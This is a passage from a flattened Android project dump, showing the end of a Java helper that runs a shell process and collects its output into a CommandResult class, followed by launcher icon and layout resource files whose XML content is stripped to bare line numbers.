os.flush(); 206 | result = process.waitFor(); 207 | if (isNeedResultMsg) { 208 | successMsg = new StringBuilder(); 209 | errorMsg = new StringBuilder(); 210 | successResult = new BufferedReader( 211 | new InputStreamReader(process.getInputStream(), "UTF-8") 212 | ); 213 | errorResult = new BufferedReader( 214 | new InputStreamReader(process.getErrorStream(), "UTF-8") 215 | ); 216 | String line; 217 | if ((line = successResult.readLine()) != null) { 218 | successMsg.append(line); 219 | while ((line = successResult.readLine()) != null) { 220 | successMsg.append(LINE_SEP).append(line); 221 | } 222 | } 223 | if ((line = errorResult.readLine()) != null) { 224 | errorMsg.append(line); 225 | while ((line = errorResult.readLine()) != null) { 226 | errorMsg.append(LINE_SEP).append(line); 227 | } 228 | } 229 | } 230 | } catch (Exception e) { 231 | e.printStackTrace(); 232 | } finally { 233 | try { 234 | if (os != null) { 235 | os.close(); 236 | } 237 | } catch (IOException e) { 238 | e.printStackTrace(); 239 | } 240 | try { 241 | if (successResult != null) { 242 | successResult.close(); 243 | } 244 | } catch (IOException e) { 245 | e.printStackTrace(); 246 | } 247 | try { 248 | if (errorResult != null) { 249 | errorResult.close(); 250 | } 251 | } catch (IOException e) { 252 | e.printStackTrace(); 253 | } 254 | if (process != null) { 255 | process.destroy(); 256 | } 257 | } 258 | return new CommandResult( 259 | result, 260 | successMsg == null ? "" : successMsg.toString(), 261 | errorMsg == null ? "" : errorMsg.toString() 262 | ); 263 | } 264 | 265 | /** 266 | * The result of command. 267 | */ 268 | public static class CommandResult { 269 | public int result; 270 | public String successMsg; 271 | public String errorMsg; 272 | 273 | public CommandResult(final int result, final String successMsg, final String errorMsg) { 274 | this.result = result; 275 | this.successMsg = successMsg; 276 | this.errorMsg = errorMsg; 277 | } 278 | 279 | @Override 280 | public String toString() { 281 | return "result: " + result + "\n" + 282 | "successMsg: " + successMsg + "\n" + 283 | "errorMsg: " + errorMsg; 284 | } 285 | } 286 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 15 | 18 | 21 | 22 | 23 | 24 | 30 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/layout/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 |